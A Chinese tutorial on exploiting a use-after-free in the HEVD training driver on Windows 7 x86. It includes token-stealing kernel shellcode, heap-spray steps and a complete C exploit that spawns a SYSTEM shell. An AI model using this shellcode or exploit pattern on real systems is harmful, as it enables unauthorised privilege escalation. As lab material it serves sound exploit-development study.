友好简单的Windows内核漏洞分析 之 UAF利用
0x1 前置知识
UAF:即Use After Free,CTF pwn手对这一概念再熟悉不过了。作为科普,内存块被释放之后使用会发生以下几种情况:
Background | Condition1 | Condition2 | Result |
---|---|---|---|
free | 对应指针置0 | 使用 | 崩溃 |
free | 对应指针没有被置0 | 使用前无代码对该片内存进行修改 | 很有可能正常运行 |
free | 对应指针没有被置0 | 使用前有代码对该片内存进行修改 | 神秘现象 |
了解Windows内存管理机制的朋友会知道ExAllocatePoolWithTag函数并不是乱申请内存的,操作系统会选择大小最合适的堆来存放它,而被free的指针被称为悬挂指针,仍是一个有效的指针。而通过逆向分析我们可以发现在驱动中有一个函数调用了全局指针(以下用漏洞指针代替)的回调函数:
而且,通过调试,我们可以知道该结构体指针的定义如下:
typedef struct _VulnerablePointer {
FunctionPointer Callback;
CHAR Buffer[0x54];
} VulnerablePointer, *VulnerablePointer;
那么,综上条件,一个漏洞利用链就浮现出来了:
-
漏洞指针被分配内存且被释放之后没有进行其他操作
-
准备提权shellcode
-
模仿漏洞指针的结构定义构造fake chunk payload大量申请空间,目的是覆盖到漏洞指针的Callback函数(专业术语:堆喷射)
-
当Callback函数被调用的时候,我们在R3提权成功
*如果读者对此篇文章感兴趣但没有内核调试相关经验,请移步0x5
0x2 一点点API
-
申请内存
DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);
-
释放内存
DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);
- 申请假chunk
DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
- 调用Callback函数
DeviceIoControl(hDevice, 0x222017, NULL, NULL, NULL, 0, &recvBuf, NULL);
以上函数都是通过逆向分析驱动文件得出,姑且先将底层实现当作黑盒看待,这样效率最高。
- 最后调用一个CMD窗口,验证提权结果
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
- 提权shellcode
void ShellCode()
{
_asm
{
nop
pushad
mov eax, fs: [124h] // 找到当前线程的_KTHREAD结构,R0中fs寄存器指向的是KCPR结构,紧接 着就是KPCRB结构,所以偏移124h的位置为KPCRB的第四个字节
mov eax, [eax + 0x50] // 找到_EPROCESS结构
mov ecx, eax
mov edx, 4 // 在win7 x86 sp1 下 system进程的PID为4
// 循环是为了获取system的_EPROCESS
find_sys_pid :
mov eax, [eax + 0xb8] // 找到进程活动链表
sub eax, 0xb8 // 链表遍历
cmp[eax + 0xb4], edx // 根据PID判断是否为SYSTEM
jnz find_sys_pid
// 替换Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
ret
}
}
0x3 调试验证过程
在Windbg中,你需要在如下三个函数下断点(因为驱动是自己编译的,所以有符号表)
HEVD!AllocateUaFObjectNonPagedPool
HEVD!FreeUaFObjectNonPagedPool
HEVD!UseUaFObjectNonPagedPool
运行exp前,我们先验证当前的权限:
运行后,命中的第一个断点:HEVD!AllocateUaFObjectNonPagedPool
运行到漏洞指针被赋值的位置,查看一下该指针的内容,以及指向的pool chunk:
可以看到状态为Allocated,大小为60h = sizeof(_VulnerablePointer) + 8 (pool chunk header)
接着来看free之后的pool chunk状态:
且此时漏洞指针的Callback函数随意指向了一个位置:
执行到下一个断点,此时exp程序完成了堆喷,正准备执行漏洞指针的回调函数,再次观察漏洞指针的pool chunk以及Callback函数:
至此,通过UAF成功在R3提权,获取system权限
0x4 留图纪念
0x5 快速食用指南
0x6 Exp
#include<stdio.h>
#include<Windows.h>
/************************************************************************/
/* Write by Thunder_J 2019.6 */
/************************************************************************/
typedef void(*FunctionPointer) ();
typedef struct _FAKE_USE_AFTER_FREE
{
FunctionPointer countinter;
char bufffer[0x54];
}FAKE_USE_AFTER_FREE, * PUSE_AFTER_FREE;
void ShellCode()
{
_asm
{
nop
pushad
mov eax, fs: [124h] // 找到当前线程的_KTHREAD结构
mov eax, [eax + 0x50] // 找到_EPROCESS结构
mov ecx, eax
mov edx, 4 // edx = system PID(4)
// 循环是为了获取system的_EPROCESS
find_sys_pid :
mov eax, [eax + 0xb8] // 找到进程活动链表
sub eax, 0xb8 // 链表遍历
cmp[eax + 0xb4], edx // 根据PID判断是否为SYSTEM
jnz find_sys_pid
// 替换Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
ret
}
}
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
int main()
{
DWORD recvBuf;
HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
printf("Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
printf("获取句柄失败\n");
return 0;
}
printf("Start to call AllocateUaFObject()...\n");
DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);
printf("Start to call FreeUaFObject()...\n");
DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);
printf("Start to write shellcode()...\n");//
PUSE_AFTER_FREE fakeG_UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));
fakeG_UseAfterFree->countinter = ShellCode;
RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');
printf("***********************************\n");
printf("Start to heap spray...\n");
for (int i = 0; i < 5000; i++)
{
DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL); //Allocate FakeObject NonPagedPool IoctlHandler allocate新的object,堆喷
}
printf("Start to call UseUaFObject()...\n");
DeviceIoControl(hDevice, 0x222017, NULL, NULL, NULL, 0, &recvBuf, NULL);
printf("Start to create cmd...\n");
CreateCmd();
//system("whoami");
return 0;
}
感谢 Thunder_J提供的exp
-
-
-
-
-
-